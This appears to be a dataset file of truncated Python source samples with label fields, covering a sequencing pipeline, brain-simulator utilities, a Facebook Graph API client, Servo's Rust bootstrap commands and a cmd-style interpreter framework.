paired_end: stitches, do_outies, fastq_paths = flash_stitchable_and_check_outies(fastq_paths, stitched_path, int(args.threads)) else: stitches, do_outies = False, False results, addon = template_flash(stitches, do_outies) logging.info(results) if addon: learning_params.extend(addon) if paired_end: learning_pretty += [""Stitching"",stitches] if stitches: learning_pretty += [""Outies allowed"",do_outies] filt_q, trim_q = trimmer_learning(fastq_paths) results, addon = template_trim(int(filt_q), int(trim_q)) logging.info(results) if addon: learning_params.extend(addon) learning_pretty += [""Filter quality"",filt_q,""Trimming quality"",trim_q] # Check whether to implement stitching bounds if stitches: cv, mean = flash_check_cv(stitched_path) if cv < 0.1: learning_pretty += [""Amplicon mode"",True] logging.info(""CV: %f, Mean: %f, Avlen: %f"" % (cv, mean, avlen)) if avlen > mean: avlen = mean mr = math.ceil(cv*mean) logging.info(""SD was: %d"" % mr) minstitch, maxstitch = int(2*avlen - mean-mr), int(2*avlen - mean+mr) if minstitch < 8: minstitch = 8 logging.info(""Amplicon mode: stitch range [%d, %d]"" % (minstitch, maxstitch)) results, addon = template_cv(minstitch, maxstitch) logging.info(results) if addon: learning_params.extend(addon) learning_pretty += [""Amplicon stitch minimum"",minstitch] learning_pretty += [""Amplicon stitch maximum"",maxstitch] else: learning_pretty += [""Amplicon mode"",False] #print(str(learning_params)) with open(os.path.join(args.output, ""shi7_cmd.sh""), ""w"") as output: cmd = "" "".join(learning_params) output.write(cmd) print(cmd) with open(os.path.join(args.output, ""learning_params.txt""),""w"") as output: for ix in range(0,len(learning_pretty),2): output.write(str(learning_pretty[ix]) + ""\t"" + str(learning_pretty[ix+1]) + ""\n"") if not args.debug: shutil.rmtree(os.path.join(args.output, 'temp')) logging.info('Execution time: %s' % (datetime.now() - start_time)) if __name__ == ""__main__"": main() ",1 "ons. You can use it stand alone or # in conjunction with TheVirtualBrain-Framework Package. See content of the # documentation-folder for more details. See also http://www.thevirtualbrain.org # # (c) 2012-2013, Baycrest Centre for Geriatric Care (""Baycrest"") # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2 as published by the Free # Software Foundation. This program is distributed in the hope that it will be # useful, but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public # License for more details. You should have received a copy of the GNU General # Public License along with this program; if not, you can download it here # http://www.gnu.org/licenses/old-licenses/gpl-2.0 # # # CITATION: # When using The Virtual Brain for scientific publications, please cite it as follows: # # Paula Sanz Leon, Stuart A. Knock, M. Marmaduke Woodman, Lia Domide, # Jochen Mersmann, Anthony R. McIntosh, Viktor Jirsa (2013) # The Virtual Brain: a simulator of primate brain network dynamics. # Frontiers in Neuroinformatics (7:10. doi: 10.3389/fninf.2013.00010) # # """""" All the little functions that make life nicer in the Traits package. .. moduleauthor:: Mihai Andrei .. moduleauthor:: Lia Domide .. moduleauthor:: marmaduke """""" import numpy import collections import inspect from tvb.basic.profile import TvbProfile # returns true if key is, by convention, public ispublic = lambda key: key[0] is not '_' def str_class_name(thing, short_form=False): """""" A helper function that tries to generate an informative name for its argument: when passed a class, return its name, when passed an object return a string representation of that value. """""" # if thing is a class, it has attribute __name__ if hasattr(thing, '__name__'): cls = thing if short_form: return cls.__name__ return cls.__module__ + '.' + cls.__name__ else: # otherwise, it's an object and we return its __str__ return str(thing) def get(obj, key, default=None): """""" get() is a general function allowing us to ignore whether we are getting from a dictionary or object. If obj is a dictionary, we return the value corresponding to key, otherwise we return the attribute on obj corresponding to key. In both cases, if key does not exist, default is returned. """""" if type(obj) is dict: return obj.get(key, default) else: return getattr(obj, key) if hasattr(obj, key) else default def log_debug_array(log, array, array_name, owner=""""): """""" Simple access to debugging info on an array. """""" if TvbProfile.current.TRAITS_CONFIGURATION.use_storage: return # Hide this logs in web-mode, with storage, because we have multiple storage exceptions if owner != """": name = ""."".join((owner, array_name)) else: name = array_name if array is not None and hasattr(array, 'shape'): shape = str(array.shape) dtype = str(array.dtype) has_nan = str(numpy.isnan(array).any()) array_max = str(array.max()) array_min = str(array.min()) log.debug(""%s shape: %s"" % (name, shape)) log.debug(""%s dtype: %s"" % (name, dtype)) log.debug(""%s has NaN: %s"" % (name, has_nan)) log.debug(""%s maximum: %s"" % (name, array_max)) log.debug(""%s minimum: %s"" % (name, array_min)) else: log.debug(""%s is None or not Array"" % name) Args = collections.namedtuple('Args', 'pos kwd') class TypeRegister(list): """""" TypeRegister is a smart list that can be queried to obtain selections of the classes inheriting from Traits classes. """""" def subclasses(self, obj, avoid_subclasses=False): """""" The subclasses method takes a class (or given instance object, will use the class of the instance), and returns a list of all options known to this TypeRegister that are direct subclasses of the class or have the class in their base class list. :param obj: Class or instance :param avoid_subclasses: When specified, subclasses are not retrieved, only current class. """""" cls = obj if inspect.isclass(obj) else obj.__class__ if avoid_subclasses: return [cls] if hasattr(cls, '_base_classes'): bases = cls._base_classes else: bases = [] sublcasses = [opt for opt in self if ((issubclass(opt, cls) or cls in opt.__bases__) and not inspect.isabstract(opt) and opt.__name__ not in bases)] return sublcasses def multiline_math_directives_to_matjax(doc): """""" Looks for multi-line sphinx math directives in the given rst string It converts them in html text that will be interpreted by mathjax The parsing is simplistic, not a rst parser. Wraps .. math :: body in \[\begin{split}\end{split}\] """""" # doc = text | math BEGIN = r'\[\begin{split}' END = r'\end{split}\]' in_math = False # 2 state parser out_lines = [] indent = '' for line in doc.splitlines(): if not in_math: # math = indent directive math_body indent, sep, _ = line.partition('.. math::') if sep: out_lines.append(BEGIN) in_math = True else: out_lines.append(line) else: # math body is at least 1 space more indented than the directive, but we tolerate empty lines if line.startswith(indent + ' ') or line.strip() == '': out_lines.append(line) else: # this line is not properly indented, math block is over out_lines.append(END) out_lines.append(line) in_math = False if in_math: # close math tag out_lines.append(END) return '\n'.join(out_lines)",1 " except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """"""Python client library for the Facebook Platform. This client library is designed to support the Graph API and the official Facebook JavaScript SDK, which is the canonical way to implement Facebook authentication. Read more about the Graph API at http://developers.facebook.com/docs/api. You can download the Facebook JavaScript SDK at http://github.com/facebook/connect-js/. If your application is using Google AppEngine's webapp framework, your usage of this module might look like this: user = facebook.get_user_from_cookie(self.request.cookies, key, secret) if user: graph = facebook.GraphAPI(user[""access_token""]) profile = graph.get_object(""me"") friends = graph.get_connections(""me"", ""friends"") """""" import cgi import time import urllib import urllib2 import httplib import hashlib import hmac import base64 import logging import socket # Find a JSON parser try: import simplejson as json except ImportError: try: from django.utils import simplejson as json except ImportError: import json _parse_json = json.loads # Find a query string parser try: from urlparse import parse_qs except ImportError: from cgi import parse_qs class GraphAPI(object): """"""A client for the Facebook Graph API. See http://developers.facebook.com/docs/api for complete documentation for the API. The Graph API is made up of the objects in Facebook (e.g., people, pages, events, photos) and the connections between them (e.g., friends, photo tags, and event RSVPs). This client provides access to those primitive types in a generic way. For example, given an OAuth access token, this will fetch the profile of the active user and the list of the user's friends: graph = facebook.GraphAPI(access_token) user = graph.get_object(""me"") friends = graph.get_connections(user[""id""], ""friends"") You can see a list of all of the objects and connections supported by the API at http://developers.facebook.com/docs/reference/api/. You can obtain an access token via OAuth or by using the Facebook JavaScript SDK. See http://developers.facebook.com/docs/authentication/ for details. If you are using the JavaScript SDK, you can use the get_user_from_cookie() method below to get the OAuth access token for the active user from the cookie saved by the SDK. """""" def __init__(self, access_token=None, timeout=None): self.access_token = access_token self.timeout = timeout def get_object(self, id, **args): """"""Fetchs the given object from the graph."""""" return self.request(id, args) def get_objects(self, ids, **args): """"""Fetchs all of the given object from the graph. We return a map from ID to object. If any of the IDs are invalid, we raise an exception. """""" args[""ids""] = "","".join(ids) return self.request("""", args) def get_connections(self, id, connection_name, **args): """"""Fetchs the connections for given object."""""" return self.request(id + ""/"" + connection_name, args) def put_object(self, parent_object, connection_name, **data): """"""Writes the given object to the graph, connected to the given parent. For example, graph.put_object(""me"", ""feed"", message=""Hello, world"") writes ""Hello, world"" to the active user's wall. Likewise, this will comment on a the first post of the active user's feed: feed = graph.get_connections(""me"", ""feed"") post = feed[""data""][0] graph.put_object(post[""id""], ""comments"", message=""First!"") See http://developers.facebook.com/docs/api#publishing for all of the supported writeable objects. Certain write operations require extended permissions. For example, publishing to a user's feed requires the ""publish_actions"" permission. See http://developers.facebook.com/docs/publishing/ for details about publishing permissions. """""" assert self.access_token, ""Write operations require an access token"" return self.request(parent_object + ""/"" + connection_name, post_args=data) def put_wall_post(self, message, attachment={}, profile_id=""me""): """"""Writes a wall post to the given profile's wall. We default to writing to the authenticated user's wall if no profile_id is specified. attachment adds a structured attachment to the status message being posted to the Wall. It should be a dictionary of the form: {""name"": ""Link name"" ""link"": ""http://www.example.com/"", ""caption"": ""{*actor*} posted a new review"", ""description"": ""This is a longer description of the attachment"", ""picture"": ""http://www.example.com/thumbnail.jpg""} """""" return self.put_object(profile_id, ""feed"", message=message, **attachment) def put_comment(self, object_id, message): """"""Writes the given comment on the given post."""""" return self.put_object(object_id, ""comments"", message=message) def put_like(self, object_id): """"""Likes the given post."""""" return self.put_object(object_id, ""likes"") def delete_object(self, id): """"""Deletes the object with the given ID from the graph."""""" self.request(id, post_args={""method"": ""delete""}) def delete_request(self, user_id, request_id): """"""Deletes the Request with the given ID for the given user."""""" conn = httplib.HTTPSConnection('graph.facebook.com') url = '/%s_%s?%s' % ( request_id, user_id, urllib.urlencode({'access_token': self.access_token}), ) conn.request('DELETE', url) response = conn.getresponse() data = response.read() response = _parse_json(data) # Raise an error if we got one, but don't not if Facebook just # gave us a Bool value if (response and isinstance(response, dict) and response.get(""error"")): raise GraphAPIError(response) conn.close() def put_photo(self, image, message=None, album_id=None, **kwargs): """"""Uploads an image using multipart/form-data. image=File like object for the image message=Caption for your image album_id=None posts to /me/photos which uses or creates and uses an album for your application. """""" object_id = album_id or ""me"" #it would have been nice to reuse self.request; #but multipart is messy in urllib post_args = { 'access_token': self.access_token, 'source': image, 'message': message, } post_args.update(kwargs) content_type, body = self._encode_multipart_form(post_args) req = urllib2.Request((""https://graph.facebook.com/%s/photos"" % object_id), data=body) req.add_header('Content-Type', content_type) try: data = urllib2.urlopen(req).read() #For Python 3 use this: #except urllib2.HTTPError as e: except urllib2.HTTPError, e: data = e.read() # Facebook sends OAuth errors as 400, and urllib2 # throws an exception, we want a GraphAPIError try: response = _parse_json(data) # Raise an error if we got one, but don't not if Facebook just # gave us a Bool value if (response and isinstance(response, dict) and response.get(""error"")): raise GraphAPIError(response) except ValueError: response = data return response # based on: http://code.activestate.com/recipes/146306/ def _encode_multipart_form(self, fields): """"""Encode files as 'multipart/form-data'. Fields are a dict of form name-> value. For files, value should be a file object. Other file-like objects might work and a fake name will be chosen. Returns (content_type, body) ready for httplib.HTTP instance. """""" BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$' CRLF = '\r\n' L = [] for (key, value) in fields.items(): logging.debug(""Encoding %s, (%s)%s"" % (key, type(value), value)) if not value: continue L.append('--' + BOUNDARY) if hasattr(value, 'read') and callable(value.read): filename = getattr(value, 'name', '%s.jpg' % key) L.append(('Content-Disposition: form-data;' 'name=""%s"";' 'filename=""%s""') % (key, filename)) L.append('Content-Type: image/jpeg') value = value.read() logging.debug(type(value)) else: L.append('Content-Disposition: form-data; name=""%s""' % key) L.append('') if isinstance(value, unicode): logging.debug(""Convert to ascii"") value = value.encode('ascii') L.append(value) L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body def request(self, path, args=None, post_args=None): """"""Fetches the given path in the Graph API. We translate args to a valid query string. If post_args is given, we send a POST request to the given path with the given arguments. """""" args = args or {} if self.access_token: if post_args is not None: post_args[""access_token""] = self.access_token else: args[""access_token""] = self.access_token post_data = None if post_args is None else urllib.urlencode(post_args) try: file = urllib2.urlopen(""https://graph.facebook.com/"" + path + ""?"" + urllib.urlencode(args), post_data, timeout=self.timeout) except urllib2.HTTPError, e: response = _parse_json(e.read()) raise GraphAPIError(response) except TypeError: # Timeout support for Python <2.6 if self.timeout: socket.setdefaulttimeout(self.timeout) file = urllib2.urlopen(""https://graph.facebook.com/"" + path + ""?"" + urllib.urlencode(args), post_data) try: fileInfo = file.info() if fileInfo.maintype == 'text': response = _parse_json(file.read()) elif fileInfo.maintype == 'image': mimetype = fileInfo['content-type'] response = { ""data"": file.read(), ""mime-type"": mimetype, ""url"": file.url, } else: raise GraphAPIError('Maintype was not text or image') finally: file.close() if response and isinstance(response, dict) and response.get(""error""): raise GraphAPIError(response[""error""][""type""], response[""error""][""message""]) return response def fql(self, query, args=None, post_args=None): """"""FQL query. Example query: ""SELECT affiliations FROM user WHERE uid = me()"" """""" args = args or {} if self.access_token: if post_args is not None: post_args[""access_token""] = self.access_token else: args[""access_token""] = self.access_token post_data = None if post_args is None else urllib.urlencode(post_args) """"""Check if query is a dict and use the multiquery method else use single query """""" if not isinstance(query, basestring): args[""queries""] = query fql_method = 'fql.multiquery' else: args[""query""] = query fql_method = 'fql.query' args[""format""] = ""json"" try: file = urllib2.urlopen(""https://api.facebook.com/method/"" + fql_method + ""?"" + urllib.urlencode(args), post_data, timeout=self.timeout) except TypeError: # Timeout support for Python <2.6 if self.timeout: socket.setdefaulttimeout(self.timeout) file = urllib2.urlopen(""https://api.facebook.com/method/"" + fql_method + ""?"" + urllib.urlencode(args), post_data) try: content = file.read() response = _parse_json(content) #Return a list if success, return a dictionary if failed if type(response) is dict and ""error_code"" in response: raise GraphAPIError(response) except Exception, e: raise e finally: file.close() return response def extend_access_token(self, app_id, app_secret): """""" Extends the expiration time of a valid OAuth access token. See """""" args = { ""client_id"": app_id, ""client_secret"": app_secret, ""grant_type"": ""fb_exchange_token"", ""fb_exchange_token"": self.access_token, } response = urllib.urlopen(""https://graph.facebook.com/oauth/"" ""access_token?"" + urllib.urlencode(args)).read() query_str = parse_qs(response) if ""access_token"" in query_str: result = {""access_token"": query_str[""access_token""][0]} if ""expires"" in query_str: result[""expires""] = query_str[""expires""][0] return result else: response = json.loads(response) raise GraphAPIError(response) class GraphAPIError(Exception): def __init__(self, result): #Exception.__init__(self, message) #self.type = type self.result = result try: self.type = result[""error_code""] except: self.type = """" # OAuth 2.0 Draft 10 try: self.message = result[""error_description""] except: # OAuth 2.0 Draft 00 try: self.message = result[""error""][""message""] except: # REST server style try: self.message = result[""error_msg""] except: self.message = result Exception.__init__(self, self.message) def get_user_from_cookie(cookies, app_id, app_secret): """"""Parses the cookie set by the official Facebook JavaScript SDK. cookies should be a dictionary-like object mapping cookie names to cookie values. If the user is logged in via Facebook, we return a dictionary with the keys ""uid"" and ""access_token"". The former is the user's Facebook ID, and the latter can be used to make authenticated requests to the Graph API. If the user is not logged in, we return None. Download the official Facebook JavaScript SDK at http://github.com/facebook/connect-js/. Read more about Facebook authentication at http://developers.facebook.com/docs/authentication/. """""" cookie = cookies.get(""fbsr_"" + app_id, """") if not cookie: return None parsed_request = parse_signed_request(cookie, app_secret) if not parsed_request: return None try: result = get_access_token_from_code(parsed_request[""code""], """", app_id, app_secret) except GraphAPIError: return None result[""uid""] = parsed_request[""user_id""] return result def parse_signed_request(signed_request, app_secret): """""" Return dictionary with signed request data. We return a dictionary containing the information in the signed_request. This includes a user_id if the user has authorised your application, as well as any information requested. If the signed_request is malformed or corrupted, False is returned. """""" try: encoded_sig, payload = map(str, signed_request.split('.', 1)) sig = base64.urlsafe_b64decode(encoded_sig + ""="" * ((4 - len(encoded_sig) % 4) % 4)) data = base64.urlsafe_b64decode(payload + ""="" * ((4 - len(payload) % 4) % 4)) except IndexError: # Signed request was malformed. return False except TypeError: # Signed request had a corrupted payload. return False data = _parse_json(data) if data.get('algorithm', '').upper() != 'HMAC-SHA256': return False # HMAC can only handle ascii (byte) strings # http://bugs.python.org/issue5285 app_secret = app_secret.encode('ascii') payload = payload.encode('ascii') expected_sig = hmac.new(app_secret, msg=payload, digestmod=hashlib.sha256).digest() if sig != expected_sig: return False return data def auth_url(app_id, canvas_url, perms=None, **kwargs): url = ""https://www.facebook.com/dialog/oauth?"" kvps = {'client_id': app_id, 'redirect_uri': canvas_url} if perms: kvps['scope'] = "","".join(perms) kvps.update(kwargs) return url + urllib.urlencode(kvps) def get_access_token_from_code(code, redirect_uri, app_id, app_secret): """"""Get an access token from the ""code"" returned from an OAuth dialog. Returns a dict containing the user-specific access token and its expiration date (if applicable). """""" args = { ""code"": code, ""redirect_uri"": redirect_uri, ""client_id"": app_id, ""client_secret"": app_secret, } # We would use GraphAPI.request() here, except for that the fact # that the response is a key-value pair, and not JSON. response = urllib.urlopen(""https://graph.facebook.com/oauth/access_token"" + ""?"" + urllib.urlencode(args)).read() query_str = parse_qs(response) if ""access_token"" in query_str: result = {""access_token"": query_str[""access_token""][0]} if ""expires"" in query_str: result[""expires""] = query_str[""expires""][0] return result else: response = json.loads(response) raise GraphAPIError(response) def get_app_access_token(app_id, app_secret): """"""Get the access_token for the app. This token can be used for insights and creating test users. app_id = retrieved from the developer page app_secret = retrieved from the developer page Returns the application access_token. """""" # Get an app access token args = {'grant_type': 'client_credentials', 'client_id': app_id, 'client_secret': app_secret} file = urllib2.urlopen(""https://graph.facebook.com/oauth/access_token?"" + urllib.urlencode(args)) try: result = file.read().split(""="")[1] finally: file.close() return result ",1 "_component import FixedLengthSessionRecordingComponent class SessionRecordingComponent(FixedLengthSessionRecordingComponent): def __init__(self, *a, **k): super(SessionRecordingComponent, self).__init__(*a, **a) self.set_trigger_recording_on_release(not (self._record_button.is_pressed)) def set_trigger_recording_on_release(self, trigger_recording): self._should_trigger_recording = trigger_recording def _on_record_button_pressed(self): pass def _on_record_button_released(self): if self._should_trigger_recording: self._trigger_recording() self._should_trigger_recording = True ",1 " License, Version 2.0 or the MIT license # , at your # option. This file may not be copied, modified, or distributed # except according to those terms. from __future__ import absolute_import, print_function, unicode_literals import base64 import json import os import os.path as path import re import shutil import sys import urllib2 from mach.decorators import ( CommandArgument, CommandProvider, Command, ) import servo.bootstrap as bootstrap from servo.command_base import CommandBase, BIN_SUFFIX from servo.util import download_bytes, download_file, extract, host_triple @CommandProvider class MachCommands(CommandBase): @Command('env', description='Print environment setup commands', category='bootstrap') def env(self): env = self.build_env() print(""export PATH=%s"" % env[""PATH""]) if sys.platform == ""darwin"": print(""export DYLD_LIBRARY_PATH=%s"" % env[""DYLD_LIBRARY_PATH""]) else: print(""export LD_LIBRARY_PATH=%s"" % env[""LD_LIBRARY_PATH""]) @Command('bootstrap', description='Install required packages for building.', category='bootstrap') @CommandArgument('--force', '-f', action='store_true', help='Boostrap without confirmation') def bootstrap(self, force=False): return bootstrap.bootstrap(self.context, force=force) @Command('bootstrap-rust', description='Download the Rust compiler', category='bootstrap') @CommandArgument('--force', '-f', action='store_true', help='Force download even if a copy already exists') @CommandArgument('--target', action='append', default=[], help='Download rust stdlib for specified target') @CommandArgument('--stable', action='store_true', help='Use stable rustc version') def bootstrap_rustc(self, force=False, target=[], stable=False): self.set_use_stable_rust(stable) version = self.rust_version() rust_path = self.rust_path() rust_dir = path.join(self.context.sharedir, ""rust"", rust_path) install_dir = path.join(self.context.sharedir, ""rust"", version) if not self.config[""build""][""llvm-assertions""]: install_dir += ""-alt"" if not force and path.exists(path.join(rust_dir, ""rustc"", ""bin"", ""rustc"" + BIN_SUFFIX)): print(""Rust compiler already downloaded."", end="" "") print(""Use |bootstrap-rust --force| to download again."") else: if path.isdir(rust_dir): shutil.rmtree(rust_dir) os.makedirs(rust_dir) # The nightly Rust compiler is hosted on the nightly server under the date with a name # rustc-nightly-HOST-TRIPLE.tar.gz, whereas the stable compiler is named # rustc-VERSION-HOST-TRIPLE.tar.gz. We just need to pull down and extract it, # giving a directory name that will be the same as the tarball name (rustc is # in that directory). if stable: tarball = ""rustc-%s-%s.tar.gz"" % (version, host_triple()) rustc_url = ""https://static-rust-lang-org.s3.amazonaws.com/dist/"" + tarball else: tarball = ""%s/rustc-nightly-%s.tar.gz"" % (version, host_triple()) base_url = ""https://s3.amazonaws.com/rust-lang-ci/rustc-builds"" if not self.config[""build""][""llvm-assertions""]: base_url += ""-alt"" rustc_url = base_url + ""/"" + tarball tgz_file = rust_dir + '-rustc.tar.gz' download_file(""Rust compiler"", rustc_url, tgz_file) print(""Extracting Rust compiler..."") extract(tgz_file, install_dir) print(""Rust compiler ready."") # Each Rust stdlib has a name of the form `rust-std-nightly-TRIPLE.tar.gz` for the nightly # releases, or rust-std-VERSION-TRIPLE.tar.gz for stable releases, with # a directory of the name `rust-std-TRIPLE` inside and then a `lib` directory. # This `lib` directory needs to be extracted and merged with the `rustc/lib` # directory from the host compiler above. nightly_suffix = """" if stable else ""-nightly"" stable_version = ""-{}"".format(version) if stable else """" lib_dir = path.join(install_dir, ""rustc{}{}-{}"".format(nightly_suffix, stable_version, host_triple()), ""rustc"", ""lib"", ""rustlib"") # ensure that the libs for the host's target is downloaded host_target = host_triple() if host_target not in target: target.append(host_target) for target_triple in target: target_lib_dir = path.join(lib_dir, target_triple) if path.exists(target_lib_dir): # No need to check for force. If --force the directory is already deleted print(""Rust lib for target {} already downloaded."".format(target_triple), end="" "") print(""Use |bootstrap-rust --force| to download again."") continue if self.use_stable_rust(): std_url = (""https://static-rust-lang-org.s3.amazonaws.com/dist/rust-std-%s-%s.tar.gz"" % (version, target_triple)) tgz_file = install_dir + ('rust-std-%s-%s.tar.gz' % (version, target_triple)) else: std_url = (""https://s3.amazonaws.com/rust-lang-ci/rustc-builds/%s/rust-std-nightly-%s.tar.gz"" % (version, target_triple)) tgz_file = install_dir + ('rust-std-nightly-%s.tar.gz' % target_triple) download_file(""Host rust library for target %s"" % target_triple, std_url, tgz_file) print(""Extracting Rust stdlib for target %s..."" % target_triple) extract(tgz_file, install_dir) shutil.copytree(path.join(install_dir, ""rust-std%s%s-%s"" % (nightly_suffix, stable_version, target_triple), ""rust-std-%s"" % target_triple, ""lib"", ""rustlib"", target_triple), path.join(install_dir, ""rustc%s%s-%s"" % (nightly_suffix, stable_version, host_triple()), ""rustc"", ""lib"", ""rustlib"", target_triple)) shutil.rmtree(path.join(install_dir, ""rust-std%s%s-%s"" % (nightly_suffix, stable_version, target_triple))) print(""Rust {} libs ready."".format(target_triple)) @Command('bootstrap-rust-docs', description='Download the Rust documentation', category='bootstrap') @CommandArgument('--force', '-f', action='store_true', help='Force download even if docs already exist') def bootstrap_rustc_docs(self, force=False): self.ensure_bootstrapped() rust_root = self.config[""tools""][""rust-root""] docs_dir = path.join(rust_root, ""doc"") if not force and path.exists(docs_dir): print(""Rust docs already downloaded."", end="" "") print(""Use |bootstrap-rust-docs --force| to download again."") return if path.isdir(docs_dir): shutil.rmtree(docs_dir) docs_name = self.rust_path().replace(""rustc-"", ""rust-docs-"") docs_url = (""https://static-rust-lang-org.s3.amazonaws.com/dist/rust-docs-nightly-%s.tar.gz"" % host_triple()) tgz_file = path.join(rust_root, 'doc.tar.gz') download_file(""Rust docs"", docs_url, tgz_file) print(""Extracting Rust docs..."") temp_dir = path.join(rust_root, ""temp_docs"") if path.isdir(temp_dir): shutil.rmtree(temp_dir) extract(tgz_file, temp_dir) shutil.move(path.join(temp_dir, docs_name.split(""/"")[1], ""rust-docs"", ""share"", ""doc"", ""rust"", ""html""), docs_dir) shutil.rmtree(temp_dir) print(""Rust docs ready."") @Command('bootstrap-cargo', description='Download the Cargo build tool', category='bootstrap') @CommandArgument('--force', '-f', action='store_true', help='Force download even if cargo already exists') def bootstrap_cargo(self, force=False): cargo_dir = path.join(self.context.sharedir, ""cargo"", self.cargo_build_id()) if not force and path.exists(path.join(cargo_dir, ""cargo"", ""bin"", ""cargo"" + BIN_SUFFIX)): print(""Cargo already downloaded."", end="" "") print(""Use |bootstrap-cargo --force| to download again."") return if path.isdir(cargo_dir): shutil.rmtree(cargo_dir) os.makedirs(cargo_dir) tgz_file = ""cargo-nightly-%s.tar.gz"" % host_triple() nightly_url = ""https://s3.amazonaws.com/rust-lang-ci/cargo-builds/%s/%s"" % \ (self.cargo_build_id(), tgz_file) download_file(""Cargo nightly"", nightly_url, tgz_file) print(""Extracting Cargo nightly..."") nightly_dir = path.join(cargo_dir, path.basename(tgz_file).replace("".tar.gz"", """")) extract(tgz_file, cargo_dir, movedir=nightly_dir) print(""Cargo ready."") @Command('update-hsts-preload', description='Download the HSTS preload list', category='bootstrap') def bootstrap_hsts_preload(self, force=False): preload_filename = ""hsts_preload.json"" preload_path = path.join(self.context.topdir, ""resources"") chromium_hsts_url = ""https://chromium.googlesource.com/chromium/src"" + \ ""/net/+/master/http/transport_security_state_static.json?format=TEXT"" try: content_base64 = download_bytes(""Chromium HSTS preload list"", chromium_hsts_url) except urllib2.URLError: print(""Unable to download chromium HSTS preload list; are you connected to the internet?"") sys.exit(1) content_decoded = base64.b64decode(content_base64) # The chromium ""json"" has single line comments in it which, of course, # are non-standard/non-valid json. Simply strip them out before parsing content_json = re.sub(r'(^|\s+)//.*$', '', content_decoded, flags=re.MULTILINE) try: pins_and_static_preloads = json.loads(content_json) entries = { ""entries"": [ { ""host"": e[""name""], ""include_subdomains"": e.get(""include_subdomains"", False) } for e in pins_and_static_preloads[""entries""] ] } with open(path.join(preload_path, preload_filename), 'w') as fd: json.dump(entries, fd, indent=4) except ValueError, e: print(""Unable to parse chromium HSTS preload list, has the format changed?"") sys.exit(1) @Command('update-pub-domains', description='Download the public domains list and update resources/public_domains.txt', category='bootstrap') def bootstrap_pub_suffix(self, force=False): list_url = ""https://publicsuffix.org/list/public_suffix_list.dat"" dst_filename = path.join(self.context.topdir, ""resources"", ""public_domains.txt"") not_implemented_case = re.compile(r'^[^*]+\*') try: content = download_bytes(""Public suffix list"", list_url) except urllib2.URLError: print(""Unable to download the public suffix list; are you connected to the internet?"") sys.exit(1) lines = [l.strip() for l in content.decode(""utf8"").split(""\n"")] suffixes = [l for l in lines if not l.startswith(""//"") and not l == """"] with open(dst_filename, ""wb"") as fo: for suffix in suffixes: if not_implemented_case.match(suffix): print(""Warning: the new list contains a case that servo can't handle: %s"" % suffix) fo.write(suffix.encode(""idna"") + ""\n"") @Command('clean-nightlies', description='Clean unused nightly builds of Rust and Cargo', category='bootstrap') @CommandArgument('--force', '-f', action='store_true', help='Actually remove stuff') def clean_nightlies(self, force=False): rust_current = self.rust_path().split('/')[0] cargo_current = self.cargo_build_id() print(""Current Rust version: "" + rust_current) print(""Current Cargo version: "" + cargo_current) removing_anything = False for current, base in [(rust_current, ""rust""), (cargo_current, ""cargo"")]: base = path.join(self.context.sharedir, base) for name in os.listdir(base): if name != current: removing_anything = True name = path.join(base, name) if force: print(""Removing "" + name) if os.path.isdir(name): shutil.rmtree(name) else: os.remove(name) else: print(""Would remove "" + name) if not removing_anything: print(""Nothing to remove."") elif not force: print(""Nothing done. "" ""Run `./mach clean-nightlies -f` to actually remove."") ",1 "ile on input is processed as the command 'EOF'. 2. A command is parsed out of each line by collecting the prefix composed of characters in the identchars member. 3. A command `foo' is dispatched to a method 'do_foo()'; the do_ method is passed a single argument consisting of the remainder of the line. 4. Typing an empty line repeats the last command. (Actually, it calls the method `emptyline', which may be overridden in a subclass.) 5. There is a predefined `help' method. Given an argument `topic', it calls the command `help_topic'. With no arguments, it lists all topics with defined help_ functions, broken into up to three topics; documented commands, miscellaneous help topics, and undocumented commands. 6. The command '?' is a synonym for `help'. The command '!' is a synonym for `shell', if a do_shell method exists. 7. If completion is enabled, completing commands will be done automatically, and completing of commands args is done by calling complete_foo() with arguments text, line, begidx, endidx. text is string we are matching against, all returned matches must begin with it. line is the current input line (lstripped), begidx and endidx are the beginning and end indexes of the text being matched, which could be used to provide different completion depending upon which position the argument is in. The `default' method may be overridden to intercept commands for which there is no do_ method. The `completedefault' method may be overridden to intercept completions for commands that have no complete_ method. The data member `self.ruler' sets the character used to draw separator lines in the help messages. If empty, no ruler line is drawn. It defaults to ""="". If the value of `self.intro' is nonempty when the cmdloop method is called, it is printed out on interpreter startup. This value may be overridden via an optional argument to the cmdloop() method. The data members `self.doc_header', `self.misc_header', and `self.undoc_header' set the headers used for the help function's listings of documented functions, miscellaneous topics, and undocumented functions respectively. """""" import string, sys __all__ = [""Cmd""] PROMPT = '(Cmd) ' IDENTCHARS = string.ascii_letters + string.digits + '_' class ElCmd: """"""A simple framework for writing line-oriented command interpreters. These are often useful for test harnesses, administrative tools, and prototypes that will later be wrapped in a more sophisticated interface. A Cmd instance or subclass instance is a line-oriented interpreter framework. There is no good reason to instantiate Cmd itself; rather, it's useful as a superclass of an interpreter class you define yourself in order to inherit Cmd's methods and encapsulate action methods. """""" prompt = PROMPT identchars = IDENTCHARS ruler = '=' lastcmd = '' intro = None doc_leader = """" doc_header = ""Documented commands (type help ):"" misc_header = ""Miscellaneous help topics:"" undoc_header = ""Undocumented commands:"" nohelp = ""*** No help on %s"" use_rawinput = False def __init__(self, completekey='tab', stdin=None, stdout=None): """"""Instantiate a line-oriented interpreter framework. The optional argument 'completekey' is the readline name of a completion key; it defaults to the Tab key. If completekey is not None and the readline module is available, command completion is done automatically. The optional arguments stdin and stdout specify alternate input and output file objects; if not specified, sys.stdin and sys.stdout are used. """""" if stdin is not None: self.stdin = stdin else: self.stdin = sys.stdin if stdout is not None: self.stdout = stdout else: self.stdout = sys.stdout self.cmdqueue = [] self.completekey = completekey if not self.use_rawinput and self.completekey: try: import editline self.editline = editline.editline(""CMD"", self.stdin, self.stdout, sys.stderr) self.editline.rl_completer = self.complete except ImportError: print(""Failed to import editline"") pass def 